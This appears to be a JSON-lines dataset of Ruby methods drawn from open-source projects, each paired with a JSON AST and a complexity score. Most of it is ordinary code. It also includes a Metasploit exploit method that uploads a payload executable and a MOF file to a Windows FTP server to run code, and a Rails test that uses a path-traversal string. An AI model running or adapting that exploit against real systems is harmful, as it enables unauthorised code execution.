en\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stream\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"draft\"]}]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"draft\"]},\"topic\"]},\"category_id\"]}]},\"compact\"]},\"uniq\"]}]},{\"type\":\"lvasgn\",\"children\":[\"categories\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Category\"]},\"secured\",{\"type\":\"send\",\"children\":[null,\"guardian\"]}]},\"with_parents\",{\"type\":\"lvar\",\"children\":[\"category_ids\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"categories\"]},{\"type\":\"send\",\"children\":[null,\"serialize_data\",{\"type\":\"lvar\",\"children\":[\"categories\"]},{\"type\":\"const\",\"children\":[null,\"CategoryBadgeSerializer\"]}]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"lvar\",\"children\":[\"response\"]}]}]}]}]}]}","id":"584093f2-bcbe-4d84-a4bc-5f0b795062d0"} {"repo_name":"forem","file_path":"./repos/forem/app/models/tag.rb","start_line":312,"raw_source":"def bust_cache\n Tags::BustCacheWorker.perform_async(name)\n Rails.cache.delete(\"view-helper-#{name}/tag_colors\")\n end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"bust_cache\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Tags\"]},\"BustCacheWorker\"]},\"perform_async\",{\"type\":\"send\",\"children\":[null,\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"cache\"]},\"delete\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"view-helper-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"name\"]}]},{\"type\":\"str\",\"children\":[\"/tag_colors\"]}]}]}]}]}","id":"412b8625-c55f-466a-92bf-0786bd209ef6"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/status/composite.rb","start_line":94,"raw_source":"def any_of?(*names)\n names.any? { |name| @status_set.include?(name) }\n end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"any_of?\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"names\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"names\"]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@status_set\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]}","id":"fa0781cd-ea51-4e69-a149-e84acfe3039b"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/members/invite_service.rb","start_line":19,"raw_source":"def parsed_emails\n # can't put this in the initializer since `invites_from_params` is called in super class\n # and needs it\n @parsed_emails ||= (formatted_param(params[:email]) || [])\n end","complexity_score":5.9,"ast_json":"{\"type\":\"def\",\"children\":[\"parsed_emails\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@parsed_emails\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"formatted_param\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"email\"]}]}]},{\"type\":\"array\",\"children\":[]}]}]}]}]}","id":"c84b5d14-1cbc-40c4-8a9b-461342c0a581"} {"repo_name":"openproject","file_path":"./repos/openproject/spec/services/shared/service_context_integration_spec.rb","start_line":46,"raw_source":"def test_method_failure(model)\n in_context model do\n Setting.connection.execute <<~SQL\n INSERT INTO settings (name, value)\n VALUES ('test_setting', 'abc')\n SQL\n\n ServiceResult.failure\n end\n end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_method_failure\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"model\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"in_context\",{\"type\":\"lvar\",\"children\":[\"model\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Setting\"]},\"connection\"]},\"execute\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"INSERT INTO settings (name, value)\\n\"]},{\"type\":\"str\",\"children\":[\"VALUES ('test_setting', 'abc')\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ServiceResult\"]},\"failure\"]}]}]}]}","id":"99525d01-7327-4a3e-8809-20396f4275cc"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/banzai/reference_parser/base_parser.rb","start_line":240,"raw_source":"def projects_for_nodes(nodes)\n @projects_for_nodes ||= grouped_objects_for_nodes(nodes, Project.includes(:project_feature), 'data-project')\n end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"projects_for_nodes\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"nodes\"]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@projects_for_nodes\"]},{\"type\":\"send\",\"children\":[null,\"grouped_objects_for_nodes\",{\"type\":\"lvar\",\"children\":[\"nodes\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Project\"]},\"includes\",{\"type\":\"sym\",\"children\":[\"project_feature\"]}]},{\"type\":\"str\",\"children\":[\"data-project\"]}]}]}]}","id":"f397ab19-f08f-477f-a933-2393b570551e"} {"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/fulfilment_changer.rb","start_line":126,"raw_source":"def current_on_hand_quantity\n [current_shipment.inventory_units.on_hand_or_backordered.sum(:quantity), quantity].min\n end","complexity_score":8.2,"ast_json":"{\"type\":\"def\",\"children\":[\"current_on_hand_quantity\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_shipment\"]},\"inventory_units\"]},\"on_hand_or_backordered\"]},\"sum\",{\"type\":\"sym\",\"children\":[\"quantity\"]}]},{\"type\":\"send\",\"children\":[null,\"quantity\"]}]},\"min\"]}]}","id":"04592ad3-e66f-4f04-8e27-1509cf40e145"} {"repo_name":"openproject","file_path":"./repos/openproject/modules/auth_saml/app/components/saml/providers/sections/request_attributes_form_component.rb","start_line":33,"raw_source":"def initialize(provider, new_mode: nil)\n super(provider,\n edit_state: :requested_attributes,\n new_mode:,\n form_class: Saml::Providers::RequestAttributesForm,\n heading: I18n.t(\"saml.instructions.requested_attributes\"))\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"provider\"]},{\"type\":\"kwoptarg\",\"children\":[\"new_mode\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"lvar\",\"children\":[\"provider\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"edit_state\"]},{\"type\":\"sym\",\"children\":[\"requested_attributes\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"new_mode\"]},{\"type\":\"lvar\",\"children\":[\"new_mode\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"form_class\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Saml\"]},\"Providers\"]},\"RequestAttributesForm\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"heading\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"saml.instructions.requested_attributes\"]}]}]}]}]}]}","id":"f8ad8ebf-bce0-4dc7-8cca-16e73112ccdf"} {"repo_name":"rails","file_path":"./repos/rails/actionview/test/actionpack/abstract/layouts_test.rb","start_line":235,"raw_source":"def show\n render template: ActionView::Template::Text.new(\"Hello show!\")\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"show\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"template\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionView\"]},\"Template\"]},\"Text\"]},\"new\",{\"type\":\"str\",\"children\":[\"Hello show!\"]}]}]}]}]}]}","id":"6c7155db-c32c-42c1-9db0-1bf8f976495f"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_adapters/abstract/schema_statements.rb","start_line":662,"raw_source":"def add_columns(table_name, *column_names, type:, **options) # :nodoc:\n column_names.each do |column_name|\n add_column(table_name, column_name, type, **options)\n end\n end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"add_columns\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"table_name\"]},{\"type\":\"restarg\",\"children\":[\"column_names\"]},{\"type\":\"kwarg\",\"children\":[\"type\"]},{\"type\":\"kwrestarg\",\"children\":[\"options\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"column_names\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"column_name\"]}]},{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"lvar\",\"children\":[\"table_name\"]},{\"type\":\"lvar\",\"children\":[\"column_name\"]},{\"type\":\"lvar\",\"children\":[\"type\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}]}]}","id":"8f9550e1-fb58-4ea3-b6a7-e8cf374ff7e5"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/alter_cell_sequences_range.rb","start_line":47,"raw_source":"def alter_new_sequences_range_function\n <<~SQL\n CREATE OR REPLACE FUNCTION alter_new_sequences_range()\n RETURNS event_trigger\n AS $$\n DECLARE\n command_record RECORD;\n sequence_name text;\n current_minval BIGINT;\n current_maxval BIGINT;\n BEGIN\n FOR command_record IN SELECT * FROM pg_event_trigger_ddl_commands () LOOP\n -- CREATE TABLE, ALTER TABLE will fire ALTER SEQUENCE event when SERIAL, BIGSERIAL IDs are used.\n IF command_record.command_tag IN ('CREATE SEQUENCE', 'ALTER SEQUENCE') THEN\n sequence_name := substring(command_record.object_identity FROM '([^.]+)$');\n\n SELECT min_value, max_value INTO current_minval, current_maxval FROM pg_sequences\n WHERE sequencename = sequence_name;\n\n -- On bumping sequence ranges using gitlab:db:increase_sequences_range, new ranges will always be\n -- greater than the existing ones. The below check catches the default minval (1) and updates accordingly.\n IF current_minval < #{minval} OR current_maxval < #{maxval} THEN\n RAISE NOTICE 'Altering sequence \"%\" with range [%, %]', sequence_name, #{minval}, #{maxval};\n\n EXECUTE FORMAT('ALTER SEQUENCE %I START %s RESTART %s MINVALUE %s MAXVALUE %s',\n sequence_name,\n #{minval},\n #{minval},\n #{minval},\n #{maxval}\n );\n END IF;\n END IF;\n END LOOP;\n END;\n $$ LANGUAGE plpgsql;\n SQL\n end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"alter_new_sequences_range_function\",{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"CREATE OR REPLACE FUNCTION alter_new_sequences_range()\\n\"]},{\"type\":\"str\",\"children\":[\" RETURNS event_trigger\\n\"]},{\"type\":\"str\",\"children\":[\"AS $$\\n\"]},{\"type\":\"str\",\"children\":[\"DECLARE\\n\"]},{\"type\":\"str\",\"children\":[\" command_record RECORD;\\n\"]},{\"type\":\"str\",\"children\":[\" sequence_name text;\\n\"]},{\"type\":\"str\",\"children\":[\" current_minval BIGINT;\\n\"]},{\"type\":\"str\",\"children\":[\" current_maxval BIGINT;\\n\"]},{\"type\":\"str\",\"children\":[\"BEGIN\\n\"]},{\"type\":\"str\",\"children\":[\" FOR command_record IN SELECT * FROM pg_event_trigger_ddl_commands () LOOP\\n\"]},{\"type\":\"str\",\"children\":[\" -- CREATE TABLE, ALTER TABLE will fire ALTER SEQUENCE event when SERIAL, BIGSERIAL IDs are used.\\n\"]},{\"type\":\"str\",\"children\":[\" IF command_record.command_tag IN ('CREATE SEQUENCE', 'ALTER SEQUENCE') THEN\\n\"]},{\"type\":\"str\",\"children\":[\" sequence_name := substring(command_record.object_identity FROM '([^.]+)$');\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" SELECT min_value, max_value INTO current_minval, current_maxval FROM pg_sequences\\n\"]},{\"type\":\"str\",\"children\":[\" WHERE sequencename = sequence_name;\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" -- On bumping sequence ranges using gitlab:db:increase_sequences_range, new ranges will always be\\n\"]},{\"type\":\"str\",\"children\":[\" -- greater than the existing ones. The below check catches the default minval (1) and updates accordingly.\\n\"]},{\"type\":\"str\",\"children\":[\" IF current_minval < \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"minval\"]}]},{\"type\":\"str\",\"children\":[\" OR current_maxval < \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"maxval\"]}]},{\"type\":\"str\",\"children\":[\" THEN\\n\"]},{\"type\":\"str\",\"children\":[\" RAISE NOTICE 'Altering sequence \\\"%\\\" with range [%, %]', sequence_name, \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"minval\"]}]},{\"type\":\"str\",\"children\":[\", \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"maxval\"]}]},{\"type\":\"str\",\"children\":[\";\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" EXECUTE FORMAT('ALTER SEQUENCE %I START %s RESTART %s MINVALUE %s MAXVALUE %s',\\n\"]},{\"type\":\"str\",\"children\":[\" sequence_name,\\n\"]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"minval\"]}]},{\"type\":\"str\",\"children\":[\",\\n\"]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"minval\"]}]},{\"type\":\"str\",\"children\":[\",\\n\"]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"minval\"]}]},{\"type\":\"str\",\"children\":[\",\\n\"]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"maxval\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" );\\n\"]},{\"type\":\"str\",\"children\":[\" END IF;\\n\"]},{\"type\":\"str\",\"children\":[\" END IF;\\n\"]},{\"type\":\"str\",\"children\":[\" END LOOP;\\n\"]},{\"type\":\"str\",\"children\":[\"END;\\n\"]},{\"type\":\"str\",\"children\":[\"$$ LANGUAGE plpgsql;\\n\"]}]}]}","id":"965e5661-3022-4466-95f2-6ff73cde8a30"} {"repo_name":"manageiq","file_path":"./repos/manageiq/lib/evm_database.rb","start_line":155,"raw_source":"def self.local?\n host.blank? || [\"localhost\", \"localhost.localdomain\", \"127.0.0.1\", \"0.0.0.0\"].include?(host)\n end","complexity_score":5.8,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"local?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"host\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"localhost\"]},{\"type\":\"str\",\"children\":[\"localhost.localdomain\"]},{\"type\":\"str\",\"children\":[\"127.0.0.1\"]},{\"type\":\"str\",\"children\":[\"0.0.0.0\"]}]},\"include?\",{\"type\":\"send\",\"children\":[null,\"host\"]}]}]}]}","id":"66b9f3a5-6bcf-4c29-8d3c-2edb073aae5c"} {"repo_name":"openproject","file_path":"./repos/openproject/modules/meeting/app/components/meetings/email_updates_banner_component.rb","start_line":76,"raw_source":"def icon\n status == \"enabled\" ? :info : nil\n end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"icon\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"status\"]},\"==\",{\"type\":\"str\",\"children\":[\"enabled\"]}]},{\"type\":\"sym\",\"children\":[\"info\"]},{\"type\":\"nil\",\"children\":[]}]}]}","id":"ddd3ecd5-1dab-4061-8854-3b742338a4b9"} {"repo_name":"rails","file_path":"./repos/rails/actionpack/test/dispatch/routing_test.rb","start_line":2817,"raw_source":"def test_only_option_should_override_scope\n draw do\n scope only: :show do\n namespace :only do\n resources :sectors, only: :index\n end\n end\n end\n\n get \"/only/sectors\"\n assert_equal \"only/sectors#index\", @response.body\n assert_equal \"/only/sectors\", only_sectors_path\n\n get \"/only/sectors/1\"\n assert_equal \"Not Found\", @response.body\n assert_raise(NoMethodError) { only_sector_path(id: \"1\") }\n end","complexity_score":19.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_only_option_should_override_scope\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"draw\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"scope\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"only\"]},{\"type\":\"sym\",\"children\":[\"show\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"namespace\",{\"type\":\"sym\",\"children\":[\"only\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"resources\",{\"type\":\"sym\",\"children\":[\"sectors\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"only\"]},{\"type\":\"sym\",\"children\":[\"index\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"str\",\"children\":[\"/only/sectors\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"only/sectors#index\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"body\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"/only/sectors\"]},{\"type\":\"send\",\"children\":[null,\"only_sectors_path\"]}]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"str\",\"children\":[\"/only/sectors/1\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"Not Found\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"body\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raise\",{\"type\":\"const\",\"children\":[null,\"NoMethodError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"only_sector_path\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"str\",\"children\":[\"1\"]}]}]}]}]}]}]}","id":"5bd41657-a970-498f-a265-49631b3ac786"} {"repo_name":"openproject","file_path":"./repos/openproject/app/models/projects/work_package_custom_fields.rb","start_line":43,"raw_source":"def all_work_package_custom_fields\n WorkPackageCustomField\n .for_all\n .or(WorkPackageCustomField.where(id: work_package_custom_fields))\n end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"all_work_package_custom_fields\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WorkPackageCustomField\"]},\"for_all\"]},\"or\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WorkPackageCustomField\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[null,\"work_package_custom_fields\"]}]}]}]}]}]}","id":"7f6b931c-8d5d-4aa9-af19-e5990d3aa5dc"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/postgres/postgres_schemadump.rb","start_line":111,"raw_source":"def smart_query(query_string)\n res = postgres_query(query_string, false)\n # Error handling routine here, borrowed heavily from todb\n case res.keys[0]\n when :conn_error\n print_error('A Connection Error Occurred')\n return\n when :sql_error\n case res[:sql_error]\n when /^C42501/\n print_error \"#{rhost}:#{rport} Postgres - Insufficient permissions.\"\n else\n print_error \"#{rhost}:#{rport} Postgres - #{res[:sql_error]}\"\n end\n return nil\n when :complete\n return res[:complete].rows\n end\n end","complexity_score":26.4,"ast_json":"{\"type\":\"def\",\"children\":[\"smart_query\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"query_string\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"postgres_query\",{\"type\":\"lvar\",\"children\":[\"query_string\"]},{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"keys\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"conn_error\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"A Connection Error Occurred\"]}]},{\"type\":\"return\",\"children\":[]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"sql_error\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"sql_error\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^C42501\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"str\",\"children\":[\" Postgres - Insufficient permissions.\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"str\",\"children\":[\" Postgres - \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"sql_error\"]}]}]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"complete\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"complete\"]}]},\"rows\"]}]}]},null]}]}]}","id":"e306b92c-f854-46d0-be3d-7ff231d79d91"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/projects/feature_flags_controller.rb","start_line":35,"raw_source":"def show\n respond_to do |format|\n format.json do\n Gitlab::PollingInterval.set_header(response, interval: 10_000)\n\n render_success_json(feature_flag)\n end\n end\n end","complexity_score":10.18,"ast_json":"{\"type\":\"def\",\"children\":[\"show\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"respond_to\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"format\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format\"]},\"json\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"PollingInterval\"]},\"set_header\",{\"type\":\"send\",\"children\":[null,\"response\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"interval\"]},{\"type\":\"int\",\"children\":[10000]}]}]}]},{\"type\":\"send\",\"children\":[null,\"render_success_json\",{\"type\":\"send\",\"children\":[null,\"feature_flag\"]}]}]}]}]}]}","id":"610bbe84-d489-4aad-8cc4-49a8b9efb520"} {"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/render_test.rb","start_line":408,"raw_source":"def test_permitted_dynamic_render_file_hash\n assert File.exist?(File.expand_path(\"../../test/abstract_unit.rb\", __dir__))\n assert_raises ArgumentError do\n get :dynamic_render_permit, params: { id: { file: '../\\\\../test/abstract_unit.rb' } }\n end\n end","complexity_score":8.3,"ast_json":"{\"type\":\"def\",\"children\":[\"test_permitted_dynamic_render_file_hash\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"exist?\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"expand_path\",{\"type\":\"str\",\"children\":[\"../../test/abstract_unit.rb\"]},{\"type\":\"send\",\"children\":[null,\"__dir__\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raises\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"sym\",\"children\":[\"dynamic_render_permit\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"file\"]},{\"type\":\"str\",\"children\":[\"../\\\\../test/abstract_unit.rb\"]}]}]}]}]}]}]}]}]}]}]}","id":"08e202ce-50fd-41d9-b984-0a6d9d881423"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/ftp/freefloatftp_wbem.rb","start_line":136,"raw_source":"def exploit\n exe_name = \"WINDOWS/system32/#{rand_text_alpha(rand(10) + 5)}.exe\"\n mof_name = \"WINDOWS/system32/wbem/mof/#{rand_text_alpha(rand(10) + 5)}.mof\"\n @mof = generate_mof(::File.basename(mof_name), ::File.basename(exe_name))\n @exe = generate_payload_exe\n @stage = :exe\n\n begin\n t = framework.threads.spawn(\"reqs\", false) {\n begin\n # Upload our malicious executable\n u = upload(exe_name)\n # Upload the mof file\n upload(mof_name) if u\n register_file_for_cleanup(\"#{::File.basename(exe_name)}\")\n register_file_for_cleanup(\"wbem\\\\mof\\\\good\\\\#{::File.basename(mof_name)}\")\n rescue ::Exception => e\n print_error \"Upload Failed: #{e.message}\"\n cleanup\n end\n }\n super\n ensure\n t.kill\n end\n 